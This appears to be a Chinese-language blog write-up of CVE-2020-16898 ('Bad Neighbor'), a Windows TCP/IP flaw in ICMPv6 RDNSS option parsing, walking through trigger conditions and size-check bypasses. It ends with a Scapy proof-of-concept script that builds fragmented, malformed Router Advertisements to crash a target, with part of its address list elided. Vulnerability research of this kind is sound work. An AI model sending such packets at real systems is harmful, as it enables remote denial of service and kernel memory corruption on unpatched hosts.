CVE-2020-16898 "Bad Neighbor"漏洞分析与利用技术详解

本文深入分析了CVE-2020-16898 Windows TCP/IP远程代码执行漏洞的技术细节,包括漏洞触发条件、利用难点突破和PoC开发过程。重点探讨了ICMPv6 RDNSS选项处理中的边界检查缺陷,以及如何通过精心构造的数据包实现内核内存破坏。

CVE-2020-16898 – “Bad Neighbor"漏洞利用分析

引言

在2020年10月的补丁星期二(10月13日),微软修复了一个非常有趣(且具有威胁性)的漏洞:CVE-2020-16898 – Windows TCP/IP远程代码执行漏洞。微软对该漏洞的描述如下:

“当Windows TCP/IP堆栈不当处理ICMPv6路由器通告数据包时,存在远程代码执行漏洞。成功利用此漏洞的攻击者可以在目标服务器或客户端上执行代码。要利用此漏洞,攻击者必须向远程Windows计算机发送特制的ICMPv6路由器通告数据包。该更新通过纠正Windows TCP/IP堆栈处理ICMPv6路由器通告数据包的方式来解决此漏洞。”

漏洞信息收集

最初,作者希望了解更多关于该漏洞的信息。唯一能找到的额外信息是检测逻辑提供的分析报告。有趣的是,关于如何防御攻击的信息反而有助于漏洞利用。

关键信息如下:

  • 需要发送RDNSS数据包
  • 问题出现在Length字段为偶数时
  • 负责解析数据包的函数会将RDNSS负载的最后8字节引用为下一个头部

RDNSS技术分析

递归DNS服务器选项(RDNSS)是路由器通告(RA)消息的子选项之一。RA可以通过ICMPv6发送。RDNSS的格式如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Length    |           Reserved            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Lifetime                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Length字段描述:8位无符号整数。选项的长度(包括Type和Length字段)以8字节为单位。如果选项中包含一个IPv6地址,最小值为3。每个额外的RDNSS地址会使长度增加2。

漏洞触发条件分析

问题1 – IPv6链路本地地址

漏洞只能在源地址为IPv6链路本地地址时被利用。这一要求限制了潜在的目标范围。

问题2 – 正确的头部类型

通过逆向工程发现,代码中存在两个循环:

  • 第一个循环遍历所有头部并进行基本验证(长度大小等)
  • 第二个循环不再进行验证,而是解析数据包

当缓冲区中有更多"可选头部"时,就会进入循环。这是一个很好的利用原语。

问题3 – 数据包大小验证

在验证数据包大小时,所有定义的"长度"必须与数据包大小匹配。通过偶数Length值会产生8字节的差异,需要精心构造数据包布局来绕过此检查。

问题4 – 大小再次验证

即使成功绕过初始检查,仍需要确保"伪造头部"的Length值与数据包剩余数据大小匹配。通过减小"伪造头部"的大小并向数据包附加更多数据来解决此问题。

问题5 – NdisGetDataBuffer()和分片

最大的挑战来自NdisGetDataBuffer函数的优化行为。如果请求的缓冲区数据是连续的,返回值是NDIS提供的位置指针;如果数据不连续,则会将数据复制到Storage参数指定的缓冲区。

解决方案是对数据包进行分片,迫使NDIS将数据复制到本地堆栈缓冲区,从而触发栈溢出。

概念验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
#
# CVE-2020-16898概念验证/蓝屏利用代码
#
# 作者:Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA()

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
# ... 更多DNS地址
]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

技术总结

该漏洞的利用需要满足多个严格条件:

  1. 源地址必须是IPv6链路本地地址
  2. 整个负载必须是有效的IPv6数据包
  3. 需要精心构造数据包布局以通过大小验证
  4. 必须使用分片来绕过NDIS优化

成功利用后,攻击者可以在目标系统上实现内核级内存破坏,最终导致系统崩溃或可能执行任意代码。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计